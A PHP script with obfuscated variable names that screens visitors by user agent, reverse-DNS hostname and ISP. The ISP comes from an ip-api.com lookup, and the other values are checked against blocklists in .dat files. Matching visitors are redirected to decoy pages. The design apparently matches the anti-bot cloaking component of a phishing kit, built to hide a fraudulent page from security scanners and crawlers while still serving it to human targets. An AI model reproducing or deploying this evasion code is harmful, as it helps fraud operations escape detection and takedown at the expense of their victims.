<?php
$oplferba = parse_ini_file("Plomernan.ini", true);
$kakupetna = $oplferba['Isp'];
$alharuny = $oplferba['Hostname'];
$akptuer = $oplferba['Useragent'];
date_default_timezone_set("Asia/Jakarta");
function get_data($hdcitan) {
    $hdcitan = file_get_contents("Hemsworth/$hdcitan.dat");
    if(strcasecmp(substr(PHP_OS, 0, 3), 'WIN') == 0){
    $hdcitan = explode("\r\n", $hdcitan);
    }else{
    $hdcitan = explode("\n", $hdcitan);
    }
    return $hdcitan;
}
$otyuerna = gethostbyaddr($_SERVER['REMOTE_ADDR']);
$nunheyn = strtolower($_SERVER['HTTP_USER_AGENT']);
$qserma_ua = get_data("useragent");
$qserma_hostname = get_data("hostname");
$qserma_isp = get_data("isp");
$qserma_uafull = get_data("ua-full");
$numperja = getenv("REMOTE_ADDR");
$okpernab = "http://ip-api.com/json/" . $numperja;
$abynerap = curl_init();
curl_setopt($abynerap, CURLOPT_URL, $okpernab);
curl_setopt($abynerap, CURLOPT_RETURNTRANSFER, true);
curl_setopt($abynerap, CURLOPT_SSL_VERIFYPEER, false);
$qeyrwha = curl_exec($abynerap);
curl_close($abynerap);
$kotynerf = json_decode($qeyrwha, true);
$kmberan = $kotynerf['isp'];
$gyherap = $kotynerf['as'];
if ($akptuer == "on") {
    foreach ($qserma_ua as $useragent) {
        if (substr_count($nunheyn, strtolower($useragent)) > 0 or $nunheyn == "" or $nunheyn == " " or $nunheyn == "    ") {
            $taherma = "botu";
            $lunberv = "User Agent";
        }
    }
    foreach ($qserma_uafull as $nunheynnew) {
        if ($nunheyn == strtolower($nunheynnew)) {
            $taherma = "botu";
            $lunberv = "User Agent";
        }
    }
}
if ($taherma == "botu") {
    header('Location: Decmar/Uag.php');
    die('');
}
if ($kakupetna == "on") {
    foreach ($qserma_isp as $kmberanbot) {
        if (substr_count($kmberan, $kmberanbot) > 0) {
            $taherma = "botisp";
            $lunberv = "ISP";
        }
    }
}
if ($taherma == "botisp") {
	header('Location: Decmar/Isip.php');
    die('');
}
if ($alharuny == "on") {
    foreach ($qserma_hostname as $otyuernabot) {
        if (substr_count($otyuerna, $otyuernabot) > 0) {
            $taherma = "botH";
            $lunberv = "Hostname";
        }
    }
}
if ($taherma == "botH") {
	header('Location: Decmar/Hnm.php');
    die('');
};